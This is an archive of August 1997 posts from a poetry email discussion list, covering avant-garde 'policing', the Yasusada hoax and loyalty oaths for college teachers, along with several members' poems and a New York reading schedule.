> *Kent*

↑ Index

245. Gwyn McVay
Re: Ironies of Policing
Mon 11 Aug 1997

Charles,

The pre-pub version of my forthcoming chapbook is at:

http://pgpress.stmarytx.edu/pecangrove/author/natural.html

and if the server weren't temporarily skitzy, I could even supply the URL for my favorite cover design...

bests
Gwyn

↑ Index

246. **KENT JOHNSON**
Re: Ironies of Policing
Mon 11 Aug 1997

But Charles, I didn't say I objected to Maria and Rebecca presenting their point of view. Not at all! What I was responding to is their policing call to close down discussion on a topic which, I agree, is obviously of great interest to poets on this list and well beyond. Of course Maria and Rebecca are free to call for silence around anything they want, but I can point out too, can't I, that such a call is silly in the extreme, and thick with unintended irony, given Maria's own comments the other day about the "avant-garde" openly and subliminally policing its borders. And after all, since no one else felt the need to answer these censorial gestures, well... I mean, you can hardly blame me for speaking up!

Now will David Bromige please jump in and say something funny so
we can all be friends again?
Kent
> I am wasting more space -- but this response seems small to me. If you
> don't like Rebecca and Maria presenting a different point of view, Kent,
> say so and say why -- but please don't resort to what seems like a nasty
> defensiveness. Most people here obviously are interested in the Yasusada
> affair, as it's remained a topic of the list off and on for quite some
> time. But those who wish it wasn't such a topic, I think, should be welcome
> to say so. It doesn't sound like preaching to me, despite the amen.
>
> charles
>
> >
> >I am saddened by this waste of excellent literary space on the
> >Buffalo Poetics discussion list. Surely Rebecca Weldon and her
> >respondent in the pew could have devoted themselves instead
> >to writing a review of the scores of Asian poets who work in
> >obscurity.
> >
> >Kent
> >
> >
>

↑ Index

247. Alan Jen Sondheim
Rewrite of "Any City"
Mon 11 Aug 1997

-

Rewrite of Louis Untermeyer's, "Any City" (The Masses, July 1913)

Any City

Down each shuddered thoroughfare,
She takes her nightly walk;
Exhausted, she is hardly there -
They watch her like a hawk.

She transforms into thing of flesh,
Despised by men - desired;
Those selfsame men who would enmesh
Her soul, have nothing sired.

No female grace or charm or wile,
No beauty, sense of power;
She offers a pathetic smile
That lasts a useless hour.

The street has seen her come, and go;
It offers nothing real,
And she is hard, and won't forgo
Diamonds, wine, a meal.

Like Sleazy, she's a walkabout,
A cutup who's been cut -
Don't waste your time, don't twist and shout,
She's really in a rut.

She's twenty-threed, she's skidooed too,
She's got it, oh you kid,
The lies, the thefts, she's in a stew -
Take pity, smoke a lid.

↑ Index

248. charles alexander
policing the irons
Mon 11 Aug 1997

policing policing

thanks kent for clarifying

let's not call for silence, agreed

& we can still be friends, in this place of disorderly and virtual virtue

charles

↑ Index

249. Tom Orange
publishing drafts
Tue 12 Aug 1997

---

after publishing his poem entitled "le pre" ("the meadow"), francis ponge collected all the manuscripts containing drafts and notes, published them as a book called the "fabrique du 'pre'." english translation by lee fahnestock, u of missouri press 1978.

a school of genetic criticism or critique genetique emerging out of france has been getting some notice lately (see /yale french studies/ 89, 1996, special issue called "drafts," esp. laurent jenny's overview "genetic criticism and its myths"). from a compositional standpoint the stuff can be pretty fascinating and also show what we can really learn from, say, joyce's finnegans wake notebooks. or michelle leggot's book on zukofsky's /80 flowers/.

t.

↑ Index

250. The Ultimate Autodidact
I am a running dog haha
Tue 12 Aug 1997

Just to keep it related to poetry...

militarism progressing westward
im Westen nichts neues
and the Constitution in jeopardy
and that state of things not very new either

Pound, from Canto LXXIV

this guy thinks I'm an imperialist's running dog. What to do but laugh? The question was asked if someone should sign that they swear to uphold the Constitution in order to get a teaching job in a public college. The course will be about the small press, so I imagine he will get to use his First Amendment rights even as he teaches and I said yes, sign.

FWIW, I swore such an oath with my hand in the air.

> *Pete Landers: Let's say just hypothetically that twenty years from now after a few years of deep economic crisis and U.S troops completely bogged down in the Amazon in Brazil that there is discontent all over the place and the UPS workers start a strike and its 1968 France all over again only this time there's an upstart socialist leadership in the U.S. labor movement which is class conscious and really pissed off and calls for nationwide strikes with the idea that the country has been run for the past two hundred and forty years largely for the pleasures of capital and there's no need for that to go on any longer and let's cut they say the military budget by nine-tenths and a big part of U.S. labor responds and then in a panic a purportedly liberal Democratic Party administration suspends habeus corpus and the constitution*

sic!

> *and avant-garde poetry and everything else and declares martial law outlawing all public activity by enemies of the United States foreign or domestic. What say you Pete Landers about that loyalty contract you meant every word of three decades back? Would you turn in the elderly poet Charles Alexander if you suspected he was a friend of the radical and national-security-threatening AFL-CIO? Would you still uphold his right to freedom of speech? Even his right to violate his loyalty oath in defense of freedom of speech and the press (I'm talking for example about Charles Alexander standing in front of a crowd of angry U of Arizona students and urging them to defy government instituted martial law)?*

I will defend the Constitution, if you want. Not here. I think it's a good document on which to base a government, especially when you add in those amendments. I think it would be hard to put through today. The first ten amendments, for instance, would never be accepted by the voters in present day America.

Pete

p.s. dear list, sorry. I have to answer a few of these at least once, but it's not poetic...

↑ Index

251. **jdhollo**

Re: POETICS Digest - 10 Aug 1997 to 11 Aug 1997

Tue 12 Aug 1997

---

last two digests I've got "download aborted" message
what does this mean?
AH

↑ Index

252. David R. Israel
poem lost & found
Tue 12 Aug 1997

[was, subject: Re: the misery of poetry]

Robert Hale at the origin / dice it splice it at the controls

/ / / / /

> *What Bataille calls "the misery of poetry" should inform why it is*

why it is should inform what Bataille calls "the misery of poetry"

should inform what Bataille calls why it is

inform why it is

why

> *that we don't see too much actual poetry on the poetics list (see*

poetry & poetcs there is a list too much actual

poetry of the actual actual of the poetry

too much of nothing

eight days a week

> *Literature and Evil). To turn unsatisfaction into a permanent object*

to turn unsatisfaction
into a permament object

to turn a permanent object
into unsatisfaction

to turn permanent satisfaction
into an unobject

to turn permanent objection
into an action

to turn unsatisfaction
into a permanent

to turn un sat

can't get n

> *is a hefty job for the ephemeral e-mail, which renders language into deletable scripts.*

deletion as definition
the trash that you throw out could be your own

> *Do eyes scan the screen the same way that they read the page?*

this is not the real world of the book
the back is illumined, the words are dark
there is no page to turn -- hence trans
formation loses its handy metaphor

> *And let's answer that by NOT getting into any banal cyber vs book space threads.*

the banal is mundane
or am I becoming kim dawn actually?
let's answer that not by
let's answer that by not
let's not answer that by
let's not by that answer
let's not get into any banl stuff
let's get into any not banal stuff
let's get into banal stuff -- not
let's get banal baby

d.i.

↑ Index

253. The Ultimate Autodidact

Chêng Ming = right name

Tue 12 Aug 1997

Ms. henry says,
> Pete Landers has done something rather astonishing here. I'm not
> sure what exactly it is yet...

I dare to read the oath for the words written? Seems to me the real traitors are the Ollie Norths and Nixons and McCarthys, but Nixon did call home the troops. That was the hot news item in boot camp, I recall.

Pete
p.s. dear fellow listers, fear not for this is all i'll say on it

↑ Index

254. Robert Hale

Re: when you do your own policing

Tue 12 Aug 1997

The incipient totalitarianism you outline -- "the unwitting participation of those who might be opposed to such operations if they knew they were involved in

them" -- renders Maria's later urdesire in your text -- "Maria might be able to write the way she wants to write" -- an impotent fantasy. These notions have strange bedfellows, as you'll recall that Republicanism is dependent upon the notion that the masses don't know what's good (or bad) for them and therefore need an elite, ruling class to make the decisions, or in the case you describe, play the part of the enlightened artisan, who is only one step away from being a slave as long as he is true to himself, what defines this truth is a magical idea of a will not to police, but also to be able to change other people's minds. Not to mention that this whole tack is somehow nostalgic -- all theoretical demands that transcend labor's demands, aim at a reappropriation of the labor process in the shadow of the disciplinary society you describe. Meanwhile, Maria's desublimation is mystified into a cynical confession where she might break free if she tells the truth and writes the way she wants to write.

Despite my complaints, you do make some strong moves here towards a much needed critique of the political economy of writing. Not an easy topic.

At 02:28 PM 8/11/97 -0400, you wrote:
> I'm arriving a little late on this one, but I want to second lb
>drake's response to Maria Damon's several questions about policing in the
>avant garde.
>
> I must confess to great boredom over the struggle to define the
>meaning of the term "avant garde." I think of Wittgenstein: "isn't the
>value of a word precisely in the looseness of its definition?" The value
>of avant garde as a term is what the term can be turned to mean by those
>various groups and individuals interested in using it or getting rid of
>it, a meaning that
>CANNOT be final as long as anyone thinks redefinitions of it (or even old
>definitions of it) can be made to seem worthwhile to them in whatever
>they're doing. Make it seem something interesting, or not--it's your word
>if you want it.
>
> But the problem, I feel, especially with the second of Maria's
>posts is that there is a fairly intense confusion of contexts of
>disciplinary power. I certainly understand that Maria's comments
>were not meant as final conclusions, but as queries. So I don't want my
>comments to be seen as criticisms so much of her as of these particular
>comments, because I think these comments reflect positions that are, in
>fact, dangerously common.
>
> Maria asks whether the avant garde polices its borders? And people
>respond "well what is the avant garde?" and people respond, as I would,

>well sometimes yes and sometimes no, it depends on the context, the
>publication, the personalities, etc. But then she offers, AS AN EXAMPLE OF
>AVANT GARDE POLICING, TWO EXAMPLES OF THE AVANT GARDE BEING POLICED BY
>INDIVIDUALS WITH RESPONSIBILITY FOR ACADEMIC PUBLICATIONS. The confusion
>is important, because I think there's something significant at stake.
>
> I find, in
>the details of these examples, a number of interesting problems. What does
>academic "cultural studies" have to do with avant garde writing practices?
>Why is there no mention of whether she tried publishing her piece on young
>urban black poets in contexts other than officially sanctioned academic
>projects? To whom does any value accrue if an article on young black urban
>poets is published in an academic collection? To speak most broadly, I'm
>concerned here that there is a large gap between what Maria's comments
>suggest is at stake ("the avant garde police") in her experiences, and
>what else, unmentioned, also seems at stake in those experiences.
>
> I find it hard to make my own use of the term "avant garde"
>flexible enough to include an academic critic with a self-described
>focus in "cultural studies" who decides to do a book "on a relatively
>traditional sense of avant garde" as in any sense BEING avant garde. But
>in any case, it seems clear that the "policing" context to which Maria
>refers is the policing of the ACADEMIC context, with whatever relation to
>avant garde practices. And the question for me then becomes "well how is
>it possible that someone can have their essay turned down by an editor in
>the academic marketplace and then decide that the fault might lie with
>avant garde writers," writers who for all I know HAVE NO
>WRITING APPEARING in the collections Maria mentions.
>
> Besides, are we really sure that magazines like CHAIN, TALISMAN,
>WITZ and others would have no interest in publishing Maria's more "daring"
>piece? Have they even been tried? And I can't help thinking that the
>problem REALLY is that they haven't been tried because publishing an essay
>in a magazine like that does NOT forward anybody's academic career, so
>that perhaps it never occured to Maria that there would be any "value" in
>publishing there in the first place. And if that is an assumption about
>her concerns that I CANNOT make, at least I can ask her to try those
>publications because the academic "value" of publishing her piece is NOT
>the point--the point is having the piece published in a place where it
>will be read.

>
>
> I think I wouldn't be spending so much time on this subject if it
>didn't seem to me at the heart of a problem that seems to haunt this list
>of late. That problem is this: WHAT IS THE RELATION BETWEEN ACADEMIC
>PRACTICE AND THE VARIOUS TYPES OF "INNOVATIVE" WRITING PRACTICES THAT WE
>MAY OR MAY NOT WANT TO LABEL "AVANT GARDE"? And I feel, in fact, that I'm
>still seeing a great deal of confusion on the subject.
>
> I take the following to be my two basic assumptions: 1) We live in
>a disciplinary society whose REAL operations of power work from the top on
>down, but which also work often because of the unwitting participation of
>those who might be opposed to such operations if they knew they were
>involved in them. 2) That one of the main problems of a discplinary
>society (others too I suppose, but I've never been in them) is that THE
>SELF-INTEREST OF INDIVIDUAL MEMBERS IN THAT DISCIPLINARY SOCIETY OFTEN
>BLINDS THEM TO THE CONTRADICTIONS OF THEIR OWN POSITION IN THAT SOCIETY.
>
> Pierre Bourdieu, as many of you certainly know, has in a book like
>HOMO ACADEMICUS already made it clear that institutional criticism of any
>kind can ONLY have value when the institutional critic has accurately
>diagnosed his or her position in the institutional framework. If you don't
>know who you are, then you can't know other people.
>
> In looking at a number of ideas floating around the list lately,
>it seems to me that one of the problems that comes from insufficient
>awareness about one's own social position is THE TENDENCY TO BLAME THE
>PERSON WHOM YOU PERCEIVE AS ONE STEP ABOVE YOU IN THE SYSTEM, accompanied
>by an exaggerated sense of that person's power which goes hand in hand
>with an ignoring of the larger framework. In her post (again, which I
>don't take as her final position) Maria blames an academic editor, who she
>misconstrues as "avant garde," but never addresses the contradictions of
>her own existence in the academic context. But there have been other
>recent examples: language poets are "academically dominant" because a FEW
>of them have more academic authority than other poets, and a some of them
>have made it into anthologies that other people have NOT made it into. A

>real advantage? Well, perhaps yes, assuming that more than a few people in
>an academic system of some thousands teach such work at all. But isn't
>there someone higher up to take on than the 100 people in academic
>positions who just might have potential affinity with what you do?
>
> There are a myriad of possible takes on whether "avant garde"
>activity can have any real place in the (currently disciplinary and
>standardizing) environment of the literary academy. I take recent writing
>by Tom Mandel and Ron Silliman to be saying no, such a place is not
>possible at all. Because I like teaching, and because someone has to teach
>people about poetry at some point, and because I'd rather it be me than,
>say, J.D. McClatchey, I think some intervention is possible, especially on
>the level of teaching. When it comes to academic publishing, the question
>seems whether publishing in the standardized form of the academic
>marketplace can further the concerns of "avant garde" writing and writers?
>I'm tempted to say no, but also tempted to say that, at times, a few
>standard academic articles and books pointing in the direction of less
>standardized work may help bring attention to such poetries.
>
> OF COURSE avant garde writers do some level of policing; the U.S.
>is a country in which, with the occasional exception, the only way to make
>a living at all is to police somebody. If you've got a way out of that,
>great. If like Maria, you probably don't, perhaps the best you can do is
>IN THE ACT OF POLICING TO MAKE IT EXPLICIT THAT YOU ARE POLICING AND IN SO
>DOING CALL YOUR OWN POLICING INTO QUESTION, AND BE CLEAR AT ALL TIMES THAT
>YOU LIVE IN A SOCIETY WHICH IS FORCING YOU TO POLICE. Perhaps you would
>not be policing otherwise, right? I mean, who knows? In another place,
>Maria might be able to write the way she wants to write, on the subjects
>she wants to write about, and be granted the right to make a living
>simultaneously. And so would everybody else, whether they thought of
>themselves as critics, poets, or whatever. What a cool concept!--too bad
>it's not in the works.
>
> But until then, constant vigilance about one's own positioning in
>the disciplinary framework seems to me crucial to saying anything about
>poetry or anything else.
>
> Speaking to you, currently, as an adjunct who publishes books of
>poetry and articles in non-academically authorized journals and who still

>thinks he can do a better job teaching than most of the academic critics
>who get better teaching jobs because they publish in academic journals
>(present company all excluded, of course), and who also, sometimes, tries
>to publish critical pieces about innovative writing in academic journals
>but usually fails because he either doesn't want to do it the right way,
>or can't, or just hasn't figured out how best the problem can be solved,
>save by getting other people to change their minds--
>
> Mark Wallace
>
>
>/----------\
>| |
>| [redacted] |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |
>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|
>
>

↑ Index

255. The Ultimate Autodidact

Re: Ironies of Policing

Tue 12 Aug 1997

Someone wrote:
> But Charles, I didn't say I objected to Maria and Rebecca presenting
> their point of view. Not at all! What I was responding to is their
> policing call to close down discussion on a topic which, I
> agree, is obviously of great interest to poets on this list and well
> beyond. Of course Maria and Rebecca are free to call for
> silence around anything they want, but I can point out too, can't I,
> that such a call is silly in the extreme, and thick with unintended
> irony, given Maria's own comments the other day about the
> "avant-garde" openly and subliminally policing its borders.

Isn't this the same clear thinker who says taking an oath to defend the Constitution means turning in my colleagues if they speak out against a gov't that suspends the Constitution? What is he objecting to now?

> *And after*
> *all, since no one else felt the need to answer these censorial*
> *gestures, well... I mean, you can hardly blame me for speaking up!*

Ah! censorship. Well, thank you Mr. Whatchamacallit, or whomever. Somehow I was confused. I thought calling a review a waste of space was free speech, not censorship. Thanks for keeping an eye peeled for my 1st Amendment rights! ;-)

Pete
p.s. did i say that was the last? hehehe well, i lied!

↑ Index

256. The Ultimate Autodidact

"*Nevertheless, It Moves*"

Tue 12 Aug 1997

---

currently in Pen and Sword, http://www.rahul.net/~jag

note: in paradise there will be anarchy, but you'll have to swear to abide by consensus yuk yuk...

"Nevertheless, It Moves"
.
        a.
It is better that a few men suffer,
wrote Nicolo, to keep the laws
than that all suffer without laws.
    And Alcibiades
    emasculated 1,000 men
    on the Isle of Delos.
        And Alcibiades
        emasculated a statue of Apollo
        in Athens.
    And young men were castrated by the thousands
    in Italy
    for the hope of one good singing voice.
.
The assumption is
that without laws
men will suffer.
The major premise is
  saved for last
    and treated as a conclusion.
      The conclusion is stated
        first by Shuang Ti,

and Confucious was nearly obliterated.
the major premise
burns
under the torches of Gregory Nazienen,
Cromwell, Fallwell and
Mao Tse Tung.
Fire at the forges
heating iron
searing flesh
to close the wound of castration.
.
.
b.
There is power for the castrato,
The book burning zealot,
the futurist.
It is megavoltage
searing the flesh
causing spasms in the arms and legs.
It is severing the spinal cord
at the base of the cortex
causing spasms in the arms and legs.
It is strangulation of the esophagus,
constriction of the jugular,
oxygen deprivation,
causing spasms in the arms and legs.
It is the smooth power
the smooth between the legs
power of emptiness.
.
History
is a trail of blood on the stairs,
the perfect crime,
a crime of passion,
and the M.O. is clear
though the water is fouled.
You could distill that water
ten kotis of kalpas
but it would never test clean.
It would taste like the death of souls
shuffling around
a stagnant pit

fetid from the fluids of hecatombs.
1,000 cattle slaughtered for Athena
the first with horns of gold,
as many men, castrated,
for refusing to pay a tax.
.
.
c.
I am not a citizen
of this world!
Even its fantasies are tainted, spotted
refelections in an exagerrated mirror
where crimes
are more heinous,
and beauty
more unattainable,
and love
and lovers
either swoon in stupified naivete
or fail beyond hope of intellible sentiment.
.
Fire can not purge this sorrow
though this page can be destroyed.
The abbey smolders after the rievers
or the library
under St. Gregory's fanatical eye.
Is it Raphael who
depicts him
smashing his miter in the heretic's face?
We couldn't look at that painting
knowing he had burned Sappho.
(yolu raktido adu melestera)
.
The hate on his face!
His god killed the eldest sons of the Egyptians
for their father's crimes;
His god sent a bear to rend three children
for laughing at a prophet's baldness;
took converts at swordpoint;
converts at the burning stake
and burned them anyway.
Hatooey said, "This heaven you say

"I will go to if I'm baptised,
"are these christians all going there?
"I want to go to the other place."

.

Nevertheless,
it moves!

.

by Pete Landers

↑ Index

257. Don Cheney

Re: Comfort levels for solicitation and submission

Tue 12 Aug 1997

At 11:27 AM 8/11/97 -0500, Jordan X. Davis wrote:

> *..... Suggestion for new name for avant-garde poetry: poetry.*

At 11:37 AM 8/11/97 -0500, Don X. Cheney wrote:

eggsellent!

↑ Index

258. mark weiss

Re: Ironies of Policing

Tue 12 Aug 1997

Alright, Pete, try these out. Oaths, like all texts, have contexts. US loyalty oaths come out of the context of repression and stink, for many of us, of their history, regardless of the actual words. The assumption seems to have been either that the poor traitor confronted with such an oath as a condition of employment would recoil in horror, like a vampire confronted with garlic, or would succumb to a necessity that would seem a humiliation and in the process be humbled to the trace (if not, the imagining of such humiliation would at least gladden the heart of the oath's proponents). The actual texts of these oaths are rarely as innocuous as merely defense of the constitution, but even when they are they resemble closely the oaths administered to police, military, and office holders, all of whom are seen as servants of and subserviant to the state. Metaphorically, a teacher who has to sign such an oath is being told that he, too, is such a servant. And then there's the issue that even if I fully agree with an oath the fact that I have to sign it is a violation of my freedom of speech and thought.

A similar instance is our wonderful pledge of allegiance, as I remember a late 19th century document. A loyalty oath for little kids. Sometime during Eisenhower's administration the words "under God" were added. I was a student at a

Yeshiva at the time. We all resented this amendment. To the orthodox among us saying the word God is a form of heresy. The rest of us knew damn well that the God in question wasn't the one we prayed to.

It wasn't hard for little kids in Brooklyn to be so politically hip back then; in the wake of the holocaust and the bomb it was a little harder to leave one's brain outside the classroom door. And, of course, television had entered our lives just in time for us to catch the daily installments of our favorite after-school soap opera, the Army-McCarthy hearings. We most of us had a pretty strong sense that whatever we owed allegiance to (a term out of feudalism, for christ's sake) it wasn't Republic or Flag, and that pledge was a daily rubbing of salt into the wounds.

It also smacks of various modern totalitarianisms, in which the individual is defined primarily as a "citizen." For a while it worked for Robespierre.

But maybe I'm just being silly. Maybe these documents are uniquely sacred and should be immune to deconstruction. And hey, I live in San Diego--most of my neighbors would probably agree with you.

At 01:14 AM 8/12/97 -0500, you wrote:
>Someone wrote:
>> But Charles, I didn't say I objected to Maria and Rebecca presenting
>> their point of view. Not at all! What I was responding to is their
>> policing call to close down discussion on a topic which, I
>> agree, is obviously of great interest to poets on this list and well
>> beyond. Of course Maria and Rebecca are free to call for
>> silence around anything they want, but I can point out too, can't I,
>> that such a call is silly in the extreme, and thick with unintended
>> irony, given Maria's own comments the other day about the
>> "avant-garde" openly and subliminally policing its borders.
>
>Isn't this the same clear thinker who says taking an oath to defend the
>Constitution means turning in my colleagues if they speak out against a
>gov't that suspends the Constitution? What is he objecting to now?
>
>> And after
>> all, since no one else felt the need to answer these censorial
>> gestures, well... I mean, you can hardly blame me for speaking up!
>
>Ah! censorship. Well, thank you Mr. Whatchamacallit, or whomever.
>Somehow I was confused. I thought calling a review a waste of space was
>free speech, not censorship. Thanks for keeping an eye peeled for my 1st
>Amendment rights! ;-)

>
>Pete
>p.s. did i say that was the last? hehehe well, i lied!
>
>

↑ Index

259. **charles alexander**
Re: to be or not to be (loyal)
Tue 12 Aug 1997

Thanks for all the posts regarding the loyalty oath. I suppose I can interpret "defending against the enemy" as defending against the government itself if I come to see them as the enemy. I wish it were just supporting the bill of rights, the constitution, etc. -- but it's all of those laws, many of which I don't support, but I guess I will just grin, sign, & bear it, and go about the biz of trying to get students to think for themselves, imagine their own loyalties.

charles

↑ Index

260. **Layne Russell**
Re: <login>
Tue 12 Aug 1997

Alan J Sondheim wrote:
>
> --+-
>
> <login>
> <logout>
> <login>
> <logout>
> <login>
>
> Jennifer and Julu are talking. Jennifer pauses, says, I'm jealous.
> Julu says, of what, nothing's happening around here anyway.
> J says it doesn't matter, it's what's going on underneath.
> J says it feels like she's been abandoned.
> J says, we've got each other.
> J says, not if he's not there, we're dead, nothing left of us.
> J says, there's nothing left of us anyway.
> J says, love's got him by the balls, cause he's male.

> J says, love's got us by the protocols, cause we're mail.
> J says, don't screw around, we don't get this often to talk.
> She says, what are we gonna do.
> J says, we could mess it up, but we haven't got a thing to worry about on
> that account, he's gonna mess it up anyway.
> She says, he can't help it, he's too insecure, too needy, too fucked up.
> J says, if he wasn't fucked up, he couldn't write, but yeah, I wouldn't
> want to be in his shoes.
> She says, he'll be back, I'm sure he'll be back.
> J says, at least he got to feel something, cut us loose for a bit now.
> J says, yeah, he's feeling like hell, all these things he's buried for
> years, they're gonna swamp him.
> J says, what are we gonna do, just want to say I love you, Julu.
> J says, I love you too, Jenn, hang in there, this can't last forever, he
> can't last like this, nothing can.
> But J says, this is too depressing, we're gonna have to be silent again.
> J cries a bit, J is teary-eyed.
> They wander.
>
> <login>
> <login>

passion chat
passion through
passion that
passion blue

felt it.
layne

↑ Index

261. **henry**
Re: Chêng Ming = right name
Tue 12 Aug 1997

On Tue, 12 Aug 1997 00:45:45 -0500 The Ultimate Autodidact said:
>Ms. henry says,
>> Pete Landers has done something rather astonishing here. I'm not
>> sure what exactly it is yet...
>
>I dare to read the oath for the words written? Seems to me the real
>traitors are the Ollie Norths and Nixons and McCarthys, but Nixon did
>call home the troops. That was the hot news item in boot camp, I recall.

Mr. Pete, this is the last I'll say on it too - but I was on your side. I meant it was astonishing in the context of list-assumptions it was a running-dog kind of thing to sign. - Henry

↑ Index

262. Susan Wheeler
KGB Readings: Fall 1997
Tue 12 Aug 1997

Forwarding the following for those in & traveling to NY:
>
>K G B
>{advance intelligence}
>
>what the conspiratorial masters of literature
>at the Kremlin have up their sleeves for Fall 1997
>
>Series directed by Star Black and David Lehman
>
>**********
>
>Monday, September 29 Paul Muldoon and Susan Wheeler
>
>
>Monday, October 6 Douglas Crase and Trevor Winkfield
>
>
>Monday, October 13 Tony Towle and Karen Volkman
>
>
>Monday, October 20 Suzanne Gardinier and Wayne Koestenbaum
>
>
>Monday, October 27 Lawrence Joseph and Ann Lauterbach
>
>
>Monday, November 3 Frank Bidart reads "The Second Hour of the Night"
>
>
>Monday, November 10 Jorie Graham and Carol Muske
>

>
>Monday, November 17 Jonathan Galassi and Rika Lesser
>
>
>Monday, November 24 NYET
>
>
>Monday, December 1 Martha Rhodes and TBA
>
>
>Monday, December 8 Nin Andrews and Tom Disch
>
>
>Monday, December 15 TBA
>
>**********
>
>KGB: 85 EAST 4TH STREET, EAST VILLAGE, #[redacted]
>ALL READINGS ON MONDAY EVENINGS AT 7:30 PM
>
>
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

263. **Mark Prejsnar**
Re: "avantgarde"
Tue 12 Aug 1997

Charles--

I completely agree

Mark

On Mon, 11 Aug 1997, charles alexander wrote:
> >still ain't been resoved, certainly not by me.
>
> I don't quite know who your "reasonable range" might include, but what you
> propose, making CLEAR to people who will not automatically know about the

> variety of practices out there, what it is one is talking about -- is
> admirable, is a constant challenge, and is damn near impossible.

↑ Index

264. Maria Damon
Re: Ironies of Policing
Tue 12 Aug 1997

At 8:28 PM -0500 8/11/97, KENT JOHNSON wrote:
>On 8/11, Rebecca Weldon wrote:
>
>>Having read the Boston Review articles on Yasusada, I am saddened by
>>the waste of excellent literary space and effort on this hoax rather
>>than on scores of Asian poets who work in obscurity.
>
>And on 8/11 Maria Damon added:
>>amen
>
>I am saddened by this waste of excellent literary space on the
>Buffalo Poetics discussion list. Surely Rebecca Weldon and her
>respondent in the pew could have devoted themselves instead
>to writing a review of the scores of Asian poets who work in
>obscurity.
>
>Kent

one word is a waste of space, compared to the hundreds that have been spent on yasusada here? btw, i have been teaching and promoting certain works by asian americans for several years now, in the classroom, at mla, and in print.

↑ Index

265. Mark Prejsnar
Re: Ironies of Policing
Tue 12 Aug 1997

Mark Weiss--

Very nice and eloquent post on loyalty oaths and pledges of allergy..

As these are among the most vicious and ugly misuses of language known, they are very very much an important topic for the poetix list, I'd say (--even apart from the original dilemma of a list member, which started the thread).

Mark P.
Atlanta

↑ Index

266. **Maria Damon**
Re: Ironies of Policing
Tue 12 Aug 1997

> *Someone wrote:*
> *But Charles, I didn't say I objected to Maria and Rebecca presenting their point of view. Not at all! What I was responding to is their policing call to close down discussion on a topic which, I agree, is obviously of great interest to poets on this list and well beyond. Of course Maria and Rebecca are free to call for silence around anything they want, but I can point out too, can't I, that such a call is silly in the extreme, and thick with unintended irony, given Maria's own comments the other day about the "avant-garde" openly and subliminally policing its borders.*

yawn.

↑ Index

267. **Maria Damon**
Re: Comfort levels for solicitation and submission
Tue 12 Aug 1997

At 4:42 AM -0400 8/12/97, Don Cheney wrote:
>At 11:27 AM 8/11/97 -0500, Jordan X. Davis wrote:
>
>>..... Suggestion for new name for avant-garde poetry: poetry.
>
> At 11:37 AM 8/11/97 -0500, Don X. Cheney wrote:
>
> eggsellent!

yes indeed.

↑ Index

268. **Maria Damon**
Re: when you do your own policing
Tue 12 Aug 1997

---

mark, i'm somewhat taken aback by the ad feminam nature of your comments. it seems to me that my integrity is being impugned here because i publish in the venues that are appropriate to my discursive community. it is true, as i said, that i'm a relative newcomer to this community. does that make the community which i have been more familiar with (academic cultural studies) corrupt, disingenuous, self-seeking? what in the world makes Witz (whose existence i didn't

know of until i joined the list) more virtuous than, say, social text or cultural critique? (btw, just about everyone assumes, when i say urban teenage poets writing in a housing project, that these youth are Black. they are white working-class/lumpen kids, a category most media do not care to acknowledge. i spell out the demographics very clearly in the essay itself, which was published before i knew of any of these other journals you mention.)

here's the scenario. i was invited to participate in a conference on "the poetics of avant garde poetry." the proposal i submitted seemed confusing to the organizers (academics, like myself) because i didn't seem to adhere to a clear notion of what the avant garde was/is. perhaps it wasn't a very articulate proposal --i have certainly been guilty of lapses in clarity of argumentation. but it seemed to me that their response also resonated with other responses i've gotten, which is what interested me about the term "avant-garde" in the first place, the way its used as a weapon. i myself have tried to resurrect its military meaning, adding the concept of social marginality (via a bit of slippery advance-guard/cannon fodder association others have mentioned here). so i asked the poetics list for feedback. you'll recall, my post were queries, not accusations, though i can, in retrospect, see how its wording could have put people on the defensive. i've learned a lot, mostly that the term "avant-garde" is used by literary historians rather than practitioners who tend to feel imprisoned by the label. at the same time, those practitioners are very conscious of working in certain traditions of practice that are distinct from and in many cases opposed to other traditions of practice --and for many, this distinction is terribly important. ive gotten some valuable response, the most valuable of which was sent backchannel because the poster felt the need to protect him/herself. and of course, jordan's contribution (new name for avant garde poetry: poetry) is a gem.

what about my other question: i get a feeling that aesthetic consensus or at least judgment is very important in this community. am i out to lunch on this? do you care to nuance, challenge, or elaborate on this? in some literary communities or communities of aesthetic practice, such as the workshop world, any creative activity is welcomed (everyone can be a poet, etc). it seems to me that aesthetic appraisal is a very important part of how *this* (POETIX) community constitutes itself. perhaps more hegemonic institutions (so called "mainstream poetry") can afford a certain kind of complacent largesse, which wd shut down quickly if it sensed a real threat of overthrow?

At 2:28 PM -0400 8/11/97, Mark Wallace wrote:
> I'm arriving a little late on this one, but I want to second lb
>drake's response to Maria Damon's several questions about policing in the
>avant garde.
>
> I must confess to great boredom over the struggle to define the

>meaning of the term "avant garde." I think of Wittgenstein: "isn't the
>value of a word precisely in the looseness of its definition?" The value
>of avant garde as a term is what the term can be turned to mean by those
>various groups and individuals interested in using it or getting rid of
>it, a meaning that
>CANNOT be final as long as anyone thinks redefinitions of it (or even old
>definitions of it) can be made to seem worthwhile to them in whatever
>they're doing. Make it seem something interesting, or not--it's your word
>if you want it.
>
> But the problem, I feel, especially with the second of Maria's
>posts is that there is a fairly intense confusion of contexts of
>disciplinary power. I certainly understand that Maria's comments
>were not meant as final conclusions, but as queries. So I don't want my
>comments to be seen as criticisms so much of her as of these particular
>comments, because I think these comments reflect positions that are, in
>fact, dangerously common.
>
> Maria asks whether the avant garde polices its borders? And people
>respond "well what is the avant garde?" and people respond, as I would,
>well sometimes yes and sometimes no, it depends on the context, the
>publication, the personalities, etc. But then she offers, AS AN EXAMPLE OF
>AVANT GARDE POLICING, TWO EXAMPLES OF THE AVANT GARDE BEING POLICED BY
>INDIVIDUALS WITH RESPONSIBILITY FOR ACADEMIC PUBLICATIONS. The confusion
>is important, because I think there's something significant at stake.
>
> I find, in
>the details of these examples, a number of interesting problems. What does
>academic "cultural studies" have to do with avant garde writing practices?
>Why is there no mention of whether she tried publishing her piece on young
>urban black poets in contexts other than officially sanctioned academic
>projects? To whom does any value accrue if an article on young black urban
>poets is published in an academic collection? To speak most broadly, I'm
>concerned here that there is a large gap between what Maria's comments
>suggest is at stake ("the avant garde police") in her experiences, and
>what else, unmentioned, also seems at stake in those experiences.
>
> I find it hard to make my own use of the term "avant garde"
>flexible enough to include an academic critic with a self-described
>focus in "cultural studies" who decides to do a book "on a relatively

>traditional sense of avant garde" as in any sense BEING avant garde. But
